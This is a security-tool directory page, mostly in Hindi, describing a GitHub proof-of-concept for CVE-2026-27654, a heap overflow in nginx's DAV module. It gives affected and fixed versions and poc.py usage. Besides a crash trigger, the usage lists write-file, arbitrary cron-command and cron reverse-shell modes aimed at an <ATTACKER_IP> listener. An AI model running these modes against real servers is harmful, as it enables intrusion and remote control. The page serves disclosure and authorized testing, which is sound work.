Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-27654 — NGINX `ngx_http_dav_module` में `size_t` अंडरफ्लो के माध्यम से हीप बफर ओवरफ्लो (रिमोट DoS / संभावित RCE) | Kitploit
उपकरण/GitHubGitHub/johanneslks/cve-2026-27654
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` में `size_t` अंडरफ्लो के माध्यम से हीप बफर ओवरफ्लो (रिमोट DoS / संभावित RCE)

रिपॉजिटरी देखें
81 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-27654

NGINX ngx_http_dav_module में size_t अंडरफ़्लो के माध्यम से हीप बफ़र ओवरफ़्लो (रिमोट DoS / संभावित RCE)

विवरण

src/http/modules/ngx_http_dav_module.c में ngx_http_dav_copy_move_handler() Destination हेडर के URI पथ घटक से लोकेशन प्रीफ़िक्स लंबाई घटाकर गंतव्य URI लंबाई की गणना करता है। दोनों मान size_t (अहस्ताक्षरित 64-बिट) हैं। जब गंतव्य पथ लोकेशन प्रीफ़िक्स से छोटा होता है, तो घटाव ~0 पर रैप हो जाता है, जिससे एक विशाल memcpy लंबाई उत्पन्न होती है जो 7-बाइट हीप आवंटन को ओवरफ़्लो करती है और वर्कर प्रोसेस को क्रैश कर देती है।

alias-मैप किए गए DAV लोकेशन पर एक एकल क्राफ्ट किया गया MOVE या COPY अनुरोध ओवरफ़्लो को ट्रिगर करता है। nginx मास्टर वर्कर को पुनः स्पॉन करता है, लेकिन बार-बार अनुरोध सर्वर को निरंतर क्रैश लूप में रखते हैं।

ASan पुष्टि करता है: ngx_http_core_module.c:1949 में memcpy पर negative-size-param: (size=-7), जिसे ngx_http_dav_copy_move_handler से कॉल किया गया।

प्रभावित: nginx 0.5.13 से 1.28.2 (स्थिर) और 1.29.0 से 1.29.6 (मेनलाइन), --with-http_dav_module के साथ कंपाइल किया गया और DAV लोकेशन में alias का उपयोग करता हुआ। 1.28.3 / 1.29.7 (कमिट ab4b5b8, PR #1210) में ठीक किया गया।

उपयोग

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

डिफ़ॉल्ट मोड विहित क्रैश ट्रिगर बना रहता है। यह PUT भेजता है और उसके बाद एक क्राफ्ट किया गया MOVE भेजता है जिसका Destination पथ DAV लोकेशन प्रीफ़िक्स से छोटा होता है:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

अधिकृत प्रयोगशाला कॉन्फ़िगरेशन के लिए जहाँ DAV गंतव्य हैंडलिंग सापेक्ष गंतव्य एस्केप की अनुमति देती है, वही टूल चुने गए पथ पर हमलावर-नियंत्रित सामग्री पहुँचा सकता है। सटीक --location-prefix, --escape-depth और गंतव्य पथ आपके अपने सेवा कॉन्फ़िगरेशन और रिकॉन से आना चाहिए:

root@kitploit:~
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell और cron-cmd अधिकृत वातावरणों के लिए सामान्य डिलीवरी सहायक हैं जिनमें लिखने योग्य DAV सोर्स और गंतव्य पथ एस्केप होता है। विहित हीप-ओवरफ़्लो क्रैश साबित करने के लिए इनकी आवश्यकता नहीं है।

आवश्यकताएँ

  • लक्ष्य: --with-http_dav_module के साथ कंपाइल किया गया nginx, लोकेशन ब्लॉक alias (न कि root) का उपयोग करते हुए, dav_methods में COPY या MOVE शामिल हो
  • हमलावर: Python 3. उपलब्ध होने पर requests का उपयोग किया जाता है, अन्यथा PoC सादे HTTP लक्ष्यों के लिए Python मानक लाइब्रेरी पर वापस चला जाता है।
  • नेटिव बिल्ड के लिए: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

फ़ाइलें

संदर्भ

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

कानूनी नोटिस

यह परियोजना GNU GPLv3 के अंतर्गत जारी की गई है।

इसे रक्षात्मक सुरक्षा अनुसंधान, शिक्षा और अधिकृत परीक्षण के लिए प्रदान किया गया है। मालिक की स्पष्ट अनुमति के बिना इस कोड का उपयोग सिस्टम या सेवाओं के विरुद्ध न करें।

अनधिकृत उपयोग लागू कानून का उल्लंघन कर सकता है। लेखक तृतीय-पक्ष सिस्टम का परीक्षण करने की अनुमति नहीं देते हैं और दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।

वारंटी और दायित्व शर्तों के लिए LICENSE फ़ाइल देखें।

टूल डाउनलोड करें
फ़ाइलविवरण
poc.pyPython PoC -- विहित क्रैश ट्रिगर के साथ-साथ सामान्य COPY/MOVE गंतव्य मोड
run.shnginx को सोर्स से बिल्ड करता है (ASan / non-ASan) और PoC चलाता है
Dockerfileअसुरक्षित nginx 1.28.2 का मल्टी-स्टेज बिल्ड
docker-compose.ymlएक-कमांड Docker सेटअप
nginx.confअसुरक्षित कॉन्फ़िगरेशन (alias + dav_methods COPY MOVE)
proof_output.txtलाइव सत्यापन से ASan आउटपुट